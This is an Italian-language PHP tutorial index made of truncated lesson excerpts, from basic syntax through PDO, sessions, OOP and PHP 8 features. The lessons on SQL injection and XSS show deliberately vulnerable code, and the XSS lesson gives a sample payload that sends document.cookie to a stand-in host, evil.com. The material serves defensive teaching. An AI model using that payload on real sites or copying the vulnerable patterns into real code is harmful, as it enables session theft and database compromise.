-
PHP (PHP: Hypertext Preprocessor) è un linguaggio di scripting server-side usato per lo sviluppo web.Caratteristiche principaliOpen source e gratuitoFacile da imparareAmpio supporto database...
-
Le variabili in PHP iniziano sempre con il simbolo dollaro $.Dichiarazione$nome = "Mario";
$eta = 30;
$prezzo = 19.99;
$attivo = true;Regole per i nomiIniziano con...
-
Le stringhe sono sequenze di caratteri racchiuse tra virgolette.Virgolette singole vs doppie$nome = "Mario";
// Doppie: interpola variabili
echo "Ciao $nome"; // Output: Ciao Mario
// Singole: testo lette...
-
Gli array permettono di memorizzare più valori in una singola variabile.Array indicizzati$frutti = ["mela", "banana", "arancia"];
// oppure
$frutti = array("mela", "banana", "arancia");
echo $frutti[0]; //...
-
Gli operatori PHP permettono di eseguire operazioni su variabili e valori.Operatori aritmetici$a + $b // Addizione
$a - $b // Sottrazione
$a * $b // Moltiplicazione
$a / $b // Divisione
$a % $b //...
-
Le strutture condizionali permettono di eseguire codice in base a condizioni.if baseif ($eta >= 18) {
echo "Maggiorenne";
}if...elseif ($eta >= 18) {
echo "Maggioren...
-
Lo switch è utile quando si confronta una variabile con molti valori possibili.Sintassi$giorno = "lunedi";
switch ($giorno) {
case "lunedi":
echo "Inizio settimana";
break;
case "ve...
-
Il ciclo for esegue un blocco di codice un numero specifico di volte.Sintassifor ($i = 0; $i < 10; $i++) {
echo $i . " ";
}
// Output: 0 1 2 3 4 5 6 7 8 9Componenti...
-
Il ciclo foreach è ideale per iterare su array e oggetti.Array indicizzati$frutti = ["mela", "banana", "arancia"];
foreach ($frutti as $frutto) {
echo $frutto . "
";
}Con indice...
-
I cicli while e do-while eseguono codice finché una condizione è vera.while$i = 0;
while ($i < 5) {
echo $i;
$i++;
}
// Output: 01234do-whileEsegue almeno u...
-
Le funzioni sono blocchi di codice riutilizzabili che eseguono compiti specifici.Definire una funzionefunction saluta($nome) {
return "Ciao, $nome!";
}
echo saluta("Mario"); // Ciao, Mario!...
-
Lo scope determina dove una variabile è accessibile nel codice.Scope localefunction test() {
$locale = "visibile solo qui";
}
echo $locale; // Errore: variabile non definitaScope global...
-
include e require permettono di inserire codice da altri file PHP.include vs require// include: warning se file non trovato, continua esecuzione
include "header.php";
// require: errore fa...
-
Le variabili $_GET e $_POST raccolgono dati inviati dai form HTML.$_GETDati passati nell URL (visibili):// URL: pagina.php?nome=Mario&eta=30
echo $_GET["nome"]; // Mario
echo $_GET["...
-
Le sessioni permettono di memorizzare dati dell utente tra diverse pagine.Iniziare una sessionesession_start(); // DEVE essere prima di qualsiasi output HTMLSalvare datisess...
-
I cookie memorizzano piccole quantità di dati nel browser dell utente.Impostare un cookie// setcookie DEVE essere prima di qualsiasi output HTML
setcookie("nome", "Mario", time() + 3600); // Scade in 1 ora
...
-
PDO (PHP Data Objects) è il modo consigliato per connettersi ai database in PHP.Connessionetry {
$pdo = new PDO(
"mysql:host=localhost;dbname=mydb;charset=utf8mb4",
"username",
"...
-
Eseguire query SELECT con PDO in modo sicuro.Fetch singola riga$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
$user = $stmt->fetch();
if ($user) {
echo $user["n...
-
Operazioni di scrittura database con PDO.INSERT$stmt = $pdo->prepare(
"INSERT INTO users (nome, email, password) VALUES (?, ?, ?)"
);
$stmt->execute([$nome, $email, password_hash($password, PASSWORD_DEF...
-
La gestione degli errori con try-catch permette di catturare e gestire le eccezioni.Sintassi basetry {
// Codice che potrebbe generare errore
$result = riskyOperation();
} catch (Exception $e) {
...
-
La Programmazione Orientata agli Oggetti (OOP) organizza il codice in classi e oggetti.Definire una classeclass User {
public $nome;
public $email;
public function __construct($nome, $email...
-
L ereditarietà permette a una classe di ereditare proprietà e metodi da un altra.Classe base e derivataclass Animal {
protected $nome;
public function __construct($nome) {
$this->nome =...
-
Interfacce e classi astratte definiscono contratti per le classi.Interfacciainterface Printable {
public function print();
public function getContent();
}
class Document implements...
-
I namespace organizzano il codice e prevengono conflitti di nomi.Definire namespace// file: App/Models/User.php
namespace AppModels;
class User {
// ...
}Usare classi con namespace...
-
Composer gestisce le dipendenze e l autoloading in PHP.composer.json base{
"autoload": {
"psr-4": {
"App\": "src/"
}
}
}Struttura directory...
-
La validazione dell input è fondamentale per la sicurezza delle applicazioni.filter_input$email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);
$id = filter_input(INPUT_GET, "id", FILTER_VALIDAT...
-
PHP offre funzioni native per gestire password in modo sicuro.Hash della password// Durante la registrazione
$password = $_POST["password"];
$hash = password_hash($password, PASSWORD_DEFAULT);
// Salva $has...
-
Gestire l upload di file in modo sicuro con PHP.Form HTML<form method="POST" enctype="multipart/form-data">
<input type="file" name="documento">
<button>Carica</button>
</...
-
PHP offre diverse funzioni per lavorare con i file.Leggere file// Tutto il contenuto
$content = file_get_contents("file.txt");
// Array di righe
$lines = file("file.txt", FILE_IGNORE_NEW_LINES);
// Riga p...
-
JSON (JavaScript Object Notation) è il formato standard per lo scambio di dati.Codificare in JSON$data = [
"nome" => "Mario",
"eta" => 30,
"skills" => ["PHP", "MySQL", "JavaScript"]
];
$json = ...
-
PHP offre potenti funzioni per gestire date e orari.Funzione date()echo date("Y-m-d"); // 2024-01-15
echo date("d/m/Y"); // 15/01/2024
echo date("H:i:s"); // 14:30:00
echo date("l, d F Y")...
-
cURL permette di effettuare richieste HTTP da PHP.GET request$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "
https://api.example.com/data");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = cur...
-
Le espressioni regolari permettono di cercare e manipolare pattern nei testi.preg_match// Verifica pattern
if (preg_match("/^[a-z]+$/i", $input)) {
echo "Solo lettere";
}
// Estrai matches
preg_match("...
-
Metodi per inviare email con PHP.Funzione mail() base$to = "dest@email.com";
$subject = "Oggetto";
$message = "Contenuto email";
$headers = "From: mittente@email.com";
mail($to, $subject, $message, $header...
-
La funzione header() invia header HTTP al browser.Redirect// Redirect semplice
header("Location: /dashboard.php");
exit(); // Importante!
// Redirect con status code
header("Location: /nuova-pagina.php", t...
-
La SQL Injection è una delle vulnerabilità più pericolose. Ecco come prevenirla.Codice vulnerabile (MAI fare)// PERICOLOSO!
$query = "SELECT * FROM users WHERE id = " . $_GET["id"];
$query = "SELECT * FROM ...
-
Gli attacchi XSS iniettano script malevoli nelle pagine web.Codice vulnerabile// PERICOLOSO!
echo "Ciao " . $_GET["nome"];
// URL: ?nome=document.location="
http://evil.com?c="+document.cookie...
-
Gli attacchi CSRF forzano azioni non autorizzate. Proteggiti con i token.Generare token CSRFsession_start();
function generateCsrfToken() {
if (empty($_SESSION["csrf_token"])) {
$_SESSION["csrf...
-
I Traits permettono di riutilizzare codice in classi non correlate.Definire un Traittrait Timestampable {
public $createdAt;
public $updatedAt;
public function setCreatedAt() {
$thi...
-
Type declarations in PHP migliorano la robustezza del codice.Parameter typesfunction greet(string $name): string {
return "Hello, $name!";
}
function sum(int $a, int $b): int {
return $a + $b;
}
f...
-
Funzioni avanzate per manipolare array in PHP.array_map$numbers = [1, 2, 3, 4];
$doubled = array_map(fn($n) => $n * 2, $numbers);
// [2, 4, 6, 8]array_filter$numbers = [1, 2...
-
L output buffering cattura l output prima di inviarlo al browser.Baseob_start(); // Inizia buffering
echo "Questo viene catturato";
$content = ob_get_contents(); // Leggi contenuto
ob_end_clean(); // Pulis...
-
Il pattern Singleton garantisce una sola istanza di una classe.Implementazioneclass Database {
private static ?Database $instance = null;
private PDO $connection;
private function __constru...
-
I magic methods permettono di intercettare operazioni sugli oggetti.__construct e __destructclass File {
private $handle;
public function __construct($path) {
$this->handle = fopen($pat...
-
I generators permettono di iterare su grandi dataset senza caricare tutto in memoria.Basefunction countTo($max) {
for ($i = 1; $i ...
-
Gli Attributes (PHP 8+) aggiungono metadati alle dichiarazioni.Definire un Attribute#[Attribute]
class Route {
public function __construct(
public string $path,
public string $method = "...
-
I Named Arguments (PHP 8+) permettono di passare argomenti per nome.Sintassifunction createUser(
string $name,
string $email,
string $role = "user",
bool $active = true
) { }
// Prima di PH...
-
Constructor Property Promotion (PHP 8+) semplifica la dichiarazione di proprietà.Prima di PHP 8class User {
private string $name;
private string $email;
private int $age;
public functio...
-
L operatore Null Safe (?->) semplifica le verifiche null in catena.Prima di PHP 8// Controllare ogni passaggio
$country = null;
if ($user !== null) {
if ($user->getAddress() !== null) {
$country...
-
Strumenti e tecniche per il debugging in PHP.var_dump$data = ["name" => "Mario", "age" => 30];
var_dump($data);
// Mostra tipo e valore dettagliatiprint_rprint_r($data);
// ...